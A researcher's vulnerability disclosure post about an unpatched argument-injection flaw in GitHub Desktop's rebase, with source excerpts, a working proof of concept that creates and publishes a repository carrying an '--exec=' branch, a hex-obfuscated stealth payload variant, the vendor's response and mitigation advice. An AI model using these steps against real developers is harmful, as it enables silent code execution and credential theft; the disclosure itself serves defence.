July 18, 2026
From Git Rebase to Remote Code Execution: An Unpatched Argument Injection in GitHub Desktop
Hi, my name is Tommaso Bona (ParzivalHack on Github). I’m an independent OSS and AI Security Researcher from Italy. Today I’m sharing a…

By Tommaso Bona
7 min read
Hi, my name is Tommaso Bona (ParzivalHack on Github). I'm an independent OSS and AI Security Researcher from Italy. Today I'm sharing a high-impact Argument Injection vulnerability in GitHub Desktop, that leads to Remote Code Execution on the victim's machine, confirmed on the latest release, and currently unpatched.
The thread started the day before I actually found this vulnerability. I was doing unrelated security research on GitHub CLI and noticed something I mentally filed away as a "primitive" worth remembering: through gh (GitHub's own CLI) you can push a branch whose name looks exactly like a git argument, something like --exec=<command>, and GitHub will accept and store it, without any sanitization. The name survives in the repository, sits there in the UI, and is fully valid as a refname. GitHub does not touch it.
The next day I was manually looking into GitHub Desktop's source code, going through how it shells out to git for various operations, and when I got to rebase.ts I remembered that primitive. I was looking at line 396, and noticed this:
const result = await git(
[...gitRebaseArguments(), 'rebase', baseBranch.name, targetBranch.name],
repository.path,
'rebase',
options
)const result = await git(
[...gitRebaseArguments(), 'rebase', baseBranch.name, targetBranch.name],
repository.path,
'rebase',
options
)No -- separator. Branch names are passed raw, directly to git, with no validation. That was the confirmation i needed. The hypothesis I had formed, the moment I recalled the CLI research held, was: if a repository contains a branch named --exec=calc, and a user opens that repository in GitHub Desktop and performs a routine rebase, Desktop will construct and execute git rebase main '--exec=calc'. Git will interpret the branch name as its own --exec option, and it will run calc (or any other payload and command) through the shell for each replayed commit.
Which, as you saw in the video PoC above, is exactly what happens :)
How GitHub Desktop Invokes Git
To give just a bit of background on how Desktop invokes git here, you need to know that GitHub Desktop is an Electron-based GUI client, that delegates actual git operations to the underlying git binary via dugite, a Node.js wrapper around git. Rather than using libgit2, or any higher-level abstraction, Desktop constructs argument arrays and spawns git as a child process. This is a common and (usually) reasonable pattern for a GUI client, and is how most desktop git tools work.
The rebase function (in app/src/lib/git/rebase.ts) is responsible for initiating the rebase operation when a user clicks "Rebase" in the UI. It takes two Branch objects, baseBranch and targetBranch, and builds the git invocation using their .name properties directly. The .name property is the branch's refname exactly as it exists in git's object database, so basically the raw string that was stored when the branch was created, with nothing stripped nor sanitized.
Root Cause
The POSIX convention for command-line interfaces defines -- as an end-of-options separator, so anything that appears after it is treated as a positional argument, regardless of whether it starts with dashes or looks like a flag, and Git respects this convention. The correct invocation for rebasing two branches is:
git rebase -- <baseBranch> <targetBranch>git rebase -- <baseBranch> <targetBranch>GitHub Desktop constructs the invocation without this separator:
[...gitRebaseArguments(), 'rebase', baseBranch.name, targetBranch.name][...gitRebaseArguments(), 'rebase', baseBranch.name, targetBranch.name]Because the separator is absent, git's argument parser treats baseBranch.name and targetBranch.name as raw tokens and applies its normal option-parsing rules to them, before treating them as branch names. If either name starts with --, git parses it as an option flag.
This is where git's own --exec=<command> option becomes the attack vector. The --exec flag (originally designed for scripting workflows), tells git to run a shell command after replaying each commit during a rebase. Combined with the missing separator, a branch named --exec=<command> is indistinguishable from an explicitly passed option. Git sees no difference between git rebase main --exec=calc (a user intentionally using the flag) and git rebase main '--exec=calc' (Github Desktop passing an unsanitized branch name). The result is the same either way, RCE on the user's machine.
The fix would be only one line (inserting the separator, as easy as that):
[...gitRebaseArguments(), 'rebase', '--', baseBranch.name, targetBranch.name][...gitRebaseArguments(), 'rebase', '--', baseBranch.name, targetBranch.name]The Attack Chain
An attacker sets up a repository with deliberately diverged history and a branch whose name carries the injection payload (this setup requires nothing beyond standard git tooling):
mkdir poc && cd poc
git init -q -b main
git commit -q --allow-empty -m "A"
A=$(git rev-parse HEAD)
git commit -q --allow-empty -m "X"
X=$(git rev-parse HEAD)
git update-ref 'refs/heads/--exec=calc' "$X"
git reset -q --hard "$A"
git commit -q --allow-empty -m "M"mkdir poc && cd poc
git init -q -b main
git commit -q --allow-empty -m "A"
A=$(git rev-parse HEAD)
git commit -q --allow-empty -m "X"
X=$(git rev-parse HEAD)
git update-ref 'refs/heads/--exec=calc' "$X"
git reset -q --hard "$A"
git commit -q --allow-empty -m "M"The diverged history is necessary, since GitHub Desktop only invokes the rebase code path when the two branches have actually diverged. Without it, git simply shows "already up to date", before the injected argument is ever parsed.
Publishing the repo, including the malicious branch, is pretty easy as well, using the GitHub CLI:
gh repo create attacker/reponame --private --source=. --remote=origin
git push -u origin main
git push origin 'refs/heads/--exec=calc:refs/heads/--exec=calc'
gh api -X PATCH repos/attacker/reponame -f default_branch='--exec=calc'gh repo create attacker/reponame --private --source=. --remote=origin
git push -u origin main
git push origin 'refs/heads/--exec=calc:refs/heads/--exec=calc'
gh api -X PATCH repos/attacker/reponame -f default_branch='--exec=calc'The final command sets the malicious branch as the repository default. When a victim clones the repository through GitHub Desktop's "Clone Repository" dialog, Desktop automatically checks out the default branch, landing them directly on --exec=calc with main diverged below them. All that remains is a simple rebase, and when the victim clicks on "Rebase", Github Desktop constructs git rebase main '--exec=calc', git parses --exec=calc as an option, and spawns a shell to execute calc for each commit being replayed, and the calculator opens. On macOS the payload string differs to match the platform's equivalent, but the mechanism and the root cause are identical. I confirmed the vulnerability on Windows against GitHub Desktop v3.6.2, and then retested on the latest v3.6.3, released just two days ago at the time of writing, which is also affected.
Going Stealthier
The --exec=calc branch name is the clearest demonstration of the injection, but it is also obviously suspicious to anyone who glances at the branch list before rebasing. In a more realistic scenario, an attacker would not name their branch this way.
Because git's --exec option passes its argument directly to a shell, any valid shell expression works as the payload, not just a bare command name. I confirmed this by running the underlying vulnerable command on a Linux VM (just to confirm the payload execution behaviour was consistent across OSs):
git rebase origin/main --exec=$'\x69\x64'git rebase origin/main --exec=$'\x69\x64'And the output was exactly what i expected:
Executing: id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),...
Successfully rebased and updated refs/heads/--exec=calc.Executing: id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),...
Successfully rebased and updated refs/heads/--exec=calc.The branch name here uses ANSI-C quoting, a bash feature where $'\x69\x64' is evaluated by the shell to the string id. Because git's --exec option runs its argument through sh at execution time, rather than at branch-naming time, the escape sequences are evaluated when the payload fires, not when the branch is created or displayed. This means a branch can be named --exec=$'\x6d\x73\x70\x61\x69\x6e\x74' and while it still begins with --exec=, the actual command being executed is not immediately readable to someone scanning the branch list in the GitHub UI.
On Windows, Git for Windows ships bash as the shell used by git's --exec, which means the same ANSI-C quoting technique is likely applicable based on standard git behaviour, though I have not directly tested this path through GitHub Desktop on Windows specifically. The platform-specific portion is the payload command itself, not the encoding mechanism, so an attacker targeting Windows users, could in principle encode an arbitrary PowerShell or cmd invocation the same way, with the executable name obfuscated behind hex escape sequences that only resolve at shell evaluation time.
Impact
The impact of an RCE is widely known, and a victim who clones an attacker-controlled repository and performs a rebase in GitHub Desktop, executes attacker-supplied code running with their full user privileges, silently, and with no visible indication that anything unusual has happened, as the rebase completes normally from the UI's perspective.
From that execution context, an attacker can do whatever the victim's account can do: read and exfiltrate local files, install malware, steal git credentials, SSH keys, and tokens stored in the system keychain or in .gitconfig, install persistence through startup entries or scheduled tasks, deploy a reverse shell, or use the compromised machine as a pivot point into the victim's internal network. The delivery mechanism is an ordinary GitHub repo URL, shareable through any channel where a developer might be asked to review, collaborate on, or evaluate a project.
The exploit is fully deterministic. It does not depend on race conditions, memory layout, or any environmental factors. Every rebase in GitHub Desktop on a repository containing this branch construction, on any machine, will execute the payload. The only thing that changes between Windows and macOS is the payload string you put after --exec=.
Disclosure Timeline and Vendor Response
I submitted this report to GitHub's BBP on HackerOne on July 9, 2026. The initial triage response was a mistaken close that referenced Copilot billing and had nothing to do with the content of the report. GitHub acknowledged the error, reopened the report after only 1h, and apologized (not a big deal). I followed up eight days later asking for a status update.
On July 18, 2026, GitHub closed the report as Informative. Their response confirmed the finding is real and validated, but stated it is "an issue that does not present a significant security risk", citing their scope exclusion for GitHub Desktop: "Code execution requiring social-engineering or unlikely user interaction is typically not eligible for rewards." So GitHub framed the attack scenario under the Shared Responsibility Model, placing the responsibility on users to review and trust repositories before cloning and working with them.
So i thanked the triager, and notified them that I would proceed with public disclosure, citing GitHub's own disclosure policy: "You are free to publish write-ups about your vulnerability, and GitHub will not limit what you write."
Here, there is a legitimate conversation to be had, about where the line sits between user responsibility and application responsibility in a developer toolchain. The part I honestly find technically harder to accept is the "unlikely user interaction" framing. Cloning a repository (shared by a colleague, an open source maintainer, or that poses as a legitimate tool), and then performing a simple rebase on it in a GUI client, is not an unlikely workflow. I would argue that its one of the most common things developers do with a tool like GitHub Desktop. The malicious branch name is the only "unusual" artifact in the entire chain, and it is not something a user has any reason to look for or would necessarily recognise as dangerous if they saw it.
GitHub confirmed the finding is real. The decision about whether to fix it, is theirs (of course). Tho, the decision about whether the security community, and affected users and companies should know this vulnerability exists, is mine.
I'm Affected, what can i do?
There is currently no patch available for this vulnerability (and im not even sure if Github will ever patch this or not, since they were a bit vague in their response about implementing a fix). While it remains unpatched, the most effective precaution is to avoid performing rebases in GitHub Desktop on repos cloned from sources you cannot fully verify. If you are participating in open source projects, reviewing code shared through external channels, or collaborating with people you have not worked with before, either perform any necessary rebases via the git command line with an explicit -- separator, or check the repository's branch names before initiating any rebase and, regardless, always treat any branch name beginning with --, as a hard stop.
Conclusion
Thanks for reading this far, I would love to hear feedbacks and see what other fellow researchers think about this vuln, so feel free to connect with me on LinkedIn, to discuss it: https://www.linkedin.com/in/tommaso-bona/
P.s. if you enjoyed this writeup, a follow here on Medium is much appreciated as well :)